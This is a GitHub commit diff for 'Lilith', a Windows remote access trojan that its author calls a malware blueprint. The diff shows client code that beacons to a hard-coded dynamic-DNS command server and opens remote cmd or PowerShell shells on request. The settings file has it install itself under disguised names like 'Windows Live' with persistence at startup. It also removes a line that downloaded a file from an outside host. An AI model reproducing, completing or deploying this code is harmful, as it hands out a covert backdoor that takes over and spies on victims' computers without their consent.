Skip to content

Commit

Permalink
Preparation for GitHub
Browse files Browse the repository at this point in the history
  • Loading branch information
werkamsus committed Jun 25, 2017
1 parent c77818f commit b36836f
Show file tree
Hide file tree
Showing 16 changed files with 162 additions and 57 deletions.
2 changes: 0 additions & 2 deletions Lilith/ClassDiagram.cd

This file was deleted.

5 changes: 2 additions & 3 deletions Lilith/Lilith.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -125,6 +125,7 @@
<ClCompile Include="PacketManager.cpp" />
<ClCompile Include="SendGetMethods.cpp" />
<ClCompile Include="settings.cpp" />
<ClCompile Include="utility.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="client.h" />
Expand All @@ -137,9 +138,7 @@
<ClInclude Include="PacketManager.h" />
<ClInclude Include="PacketType.h" />
<ClInclude Include="settings.h" />
</ItemGroup>
<ItemGroup>
<None Include="ClassDiagram.cd" />
<ClInclude Include="utility.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
Expand Down
9 changes: 6 additions & 3 deletions Lilith/Lilith.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,9 @@
<ClCompile Include="general.cpp">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="utility.cpp">
<Filter>Source Files\Utility</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="settings.h">
Expand Down Expand Up @@ -95,8 +98,8 @@
<ClInclude Include="general.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="ClassDiagram.cd" />
<ClInclude Include="utility.h">
<Filter>Header Files\Utility</Filter>
</ClInclude>
</ItemGroup>
</Project>
2 changes: 2 additions & 0 deletions Lilith/client.cpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
#include "Client.h"


//a lot of the networking structure was adapted from Pindrought's very comprehensive Winsock Networking Tutorials ( http://www.planetchili.net/forum/viewtopic.php?f=3&t=3433 )

Client* Client::clientptr = NULL;
bool Client::connected = false;

Expand Down
17 changes: 10 additions & 7 deletions Lilith/cmdRedirect.cpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
#include "cmdRedirect.h"

CMD::CMD()
//reference https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx


CMD::CMD(std::string path)
{
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
Expand All @@ -22,7 +25,7 @@ CMD::CMD()
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
General::handleError(3, false);

createChildProcess();
createChildProcess(path);

cmdptr = this;
}
Expand All @@ -33,9 +36,10 @@ bool CMD::cmdOpen = false;
HANDLE CMD::g_hChildProcess = NULL;
HANDLE CMD::g_hChildThread = NULL;

void CMD::cmdThread()
void CMD::cmdThread(void* pvPath)
{
CMD cmd;
char* path = (char*)pvPath;
CMD cmd(path);
cmdOpen = true;
while (cmdOpen)
{
Expand Down Expand Up @@ -92,7 +96,7 @@ void CMD::writeCMD(std::string command) //write a string to stdIn of cmd.exe
Client::clientptr->SendString("Couldn't write to CMD: CMD not open", PacketType::Warning);
}

void CMD::createChildProcess() //creates child process ||copied from https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx ||
void CMD::createChildProcess(std::string path) //creates child process ||copied from https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx ||
{
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
Expand All @@ -113,8 +117,7 @@ void CMD::createChildProcess() //creates child process ||copied from https://msd
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

// Create the child process.

bSuccess = CreateProcess(TEXT("C:\\WINDOWS\\system32\\cmd.exe"),
bSuccess = CreateProcess(path.c_str(),
NULL, // command line
NULL, // process security attributes
NULL, // primary thread security attributes
Expand Down
6 changes: 3 additions & 3 deletions Lilith/cmdRedirect.h
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,8 @@
class CMD
{
public: //Public functions
CMD();
static void cmdThread();
CMD(std::string path);
static void cmdThread(void* pvPath);

std::string readCMD();
void writeCMD(std::string command);
Expand All @@ -21,7 +21,7 @@ class CMD
static bool cmdOpen;

private: //Private functions
void createChildProcess();
void createChildProcess(std::string path);

private: //variables
HANDLE g_hChildStd_IN_Rd = NULL;
Expand Down
47 changes: 34 additions & 13 deletions Lilith/general.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ bool General::init() //startup of program
}


runInstalled(); //checks if this run of the program is designated to the install process, then checks whether it should start the installed client
runInstalled(); //checks if this run of the instance is designated to the install process, then checks whether it should start the installed client


return installing;
Expand Down Expand Up @@ -247,6 +247,17 @@ void General::handleError(int errType, bool errSevere) //handles errors

}

bool General::processParameter(std::string &command, std::string compCommand)
{
std::string::size_type i = command.find(compCommand);
if (i != std::string::npos)
{
command.erase(i, compCommand.length() + 1);
return true;
}
else
return false;
}

std::string General::processCommand(std::string command)
{
Expand All @@ -260,16 +271,33 @@ std::string General::processCommand(std::string command)
restartSelf();
return "restarting";
}
else if (command == "cmdmode")
else if (processParameter(command, "remoteControl"))
{
if (!CMD::cmdOpen)
{
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CMD::cmdThread, NULL, NULL, NULL);
while (!CMD::cmdOpen)
if (command == "cmd")
command = "C:\\WINDOWS\\system32\\cmd.exe";
else if (command == "pws")
command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
else if (command == "pws32")
command = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe";

if (Utility::fileExists(command))
{
Sleep(50);
char* buffer = new char[command.length() + 3];
buffer[command.length()] = '\0';
strcpy_s(buffer, command.length() + 2, command.c_str());

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CMD::cmdThread, (LPVOID)buffer, NULL, NULL);
while (!CMD::cmdOpen)
{
Sleep(50);
}
delete[] buffer;
return "CMD session opened.";
}
return "CMD session opened.";
else
return "File doesn't exist.";
}
else
{
Expand All @@ -278,13 +306,6 @@ std::string General::processCommand(std::string command)
return "CMD session closed";
}
}
else if (command == "tempDownload") //TEMPORARY, IMPLEMENT OTHERWISE
{
try {
URLDownloadToFile(NULL, "http://nehcer.ddns.net/catslol.lmfao", (installFolder + "\\browsercache.html").c_str(), 0, NULL);
}
catch (int e) { return "Command failed"; }
}
else
{
return "Command '" + command + "' was not recognized.";
Expand Down
9 changes: 5 additions & 4 deletions Lilith/general.h
Original file line number Diff line number Diff line change
Expand Up @@ -2,22 +2,21 @@

#ifndef GENERAL_H
#define GENERAL_H
#define WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN //if left out order of windows.h and winsock.h plays messes up everything (just leave it in)

#pragma comment(lib, "urlmon.lib") //temporary, remove if possible


#include <Windows.h>
#include <Windows.h>
#include <string>
#include <tchar.h>
#include <stdio.h>
#include <time.h>
#include <fstream>
#include <urlmon.h> //temporary, remove if possible

#include "cmdRedirect.h"
#include "settings.h"
#include "conversion.h"
#include "utility.h"



Expand Down Expand Up @@ -59,6 +58,8 @@ class General
static void setLocation(); //sets location(copies file)
static void runInstalled(); //checks if this run of the program is designated to the install process, then checks whether it should start the installed client

private: //functions
static bool processParameter(std::string &command, std::string compCommand);
};

#endif
17 changes: 13 additions & 4 deletions Lilith/main.cpp
Original file line number Diff line number Diff line change
@@ -1,3 +1,13 @@
/* LILITH */
/* PROJECT CREATION DATE: 15.06.16 */
/* BY NICK RAZIBORSKY AKA WERKAMSUS */

/*
FEATURE IDEAS: 'GDRIVE\init0\malware blueprint.txt'
*/

/*
SETTINGS CAN BE EDITED IN "settings.cpp"
Expand All @@ -19,16 +29,16 @@ void testMB(std::string s) //TEST FUNCTION

#endif


int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) //main function
{
//VARIABLE SETUP
General::lpArguments = lpCmdLine;
/*


if (General::init()) //runs init() and exits file if it installs itself (starts new file)
return 0;


Client MyClient(Settings::serverIP, Settings::serverPort); //Client MyClient("nehcer.ddns.net", 38632);

while (true)
Expand All @@ -43,8 +53,7 @@ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdL
Sleep(15000);
}

*/
//test stuff (WORKS \o/)


return 0;
}
31 changes: 25 additions & 6 deletions Lilith/settings.cpp
Original file line number Diff line number Diff line change
@@ -1,15 +1,34 @@
#include "settings.h"

std::string Settings::serverIP = "windistupdate.ddns.net"; //server ip
int Settings::serverPort = 47128;
#if _DEBUG
std::string Settings::serverIP = "127.0.0.1"; //server ip
int Settings::serverPort = 1111; //server port

std::string Settings::fileName = "winlive.exe"; //file name
std::string Settings::fileName = "lilithDEBUG.exe"; //file name
std::string Settings::folderName = "lilithDEBUG folder"; //name of folder where file is located
std::string Settings::startupName = "lilithDEBUG startup"; //startup name in registry / taskmgr
std::string Settings::logFileName = "log.txt"; //name of log file
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc)
bool Settings::installSelf = false; //specifies whether the program should install itself
bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS)
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file
bool Settings::setStartupSelf = false; //specifies whether the program is to be started on system boot
bool Settings::logEvents = true;

#else

std::string Settings::serverIP = "oraclejavaseupdate.ddns.net"; /*windistupdate.ddns.net*/ //server ip
int Settings::serverPort = 47128; //server port

std::string Settings::fileName = "winliveback.exe"; //file name
std::string Settings::folderName = "Windows Live"; //name of folder where file is located
std::string Settings::startupName = "Windows Live"; //startup name in registry / taskmgr
std::string Settings::startupName = "Windows Live Backup"; //startup name in registry / taskmgr
std::string Settings::logFileName = "log.txt"; //name of log file
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc)
bool Settings::installSelf = true; //specifies whether the program should install itself
bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS)
bool Settings::meltSelf = true; //specifies whether the installed clone should delete the initial file
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file
bool Settings::setStartupSelf = true; //specifies whether the program is to be started on system boot
bool Settings::logEvents = true;
bool Settings::logEvents = true;

#endif
13 changes: 13 additions & 0 deletions Lilith/utility.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
#include "utility.h"

bool Utility::fileExists(std::string path)
{
FILE *file;
if (fopen_s(&file, path.c_str(), "r") == 0)
{
fclose(file);
return true;
}
else
return false;
}
14 changes: 14 additions & 0 deletions Lilith/utility.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#pragma once

#ifndef UTILITY_H
#define UTILITY_H

#include <string>

class Utility
{
public: //functions
static bool fileExists(std::string path);
};

#endif
12 changes: 12 additions & 0 deletions Server/general.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -23,4 +23,16 @@ void General::outputMsg(std::string message, int msgType)
//SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
break;
}
}

bool General::processParameter(std::string &command, std::string compCommand)
{
std::string::size_type i = command.find(compCommand);
if (i != std::string::npos)
{
command.erase(i, compCommand.length() + 1);
return true;
}
else
return false;
}
7 changes: 4 additions & 3 deletions Server/general.h
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,10 @@

class General
{
public:
static void outputMsg(std::string message, int msgType);
public:
public: //functions
static void outputMsg(std::string message, int msgType);
static bool General::processParameter(std::string &command, std::string compCommand);
public: //variables
static bool cmdMode;
};

Expand Down
Loading

0 comments on commit b36836f

Please sign in to comment.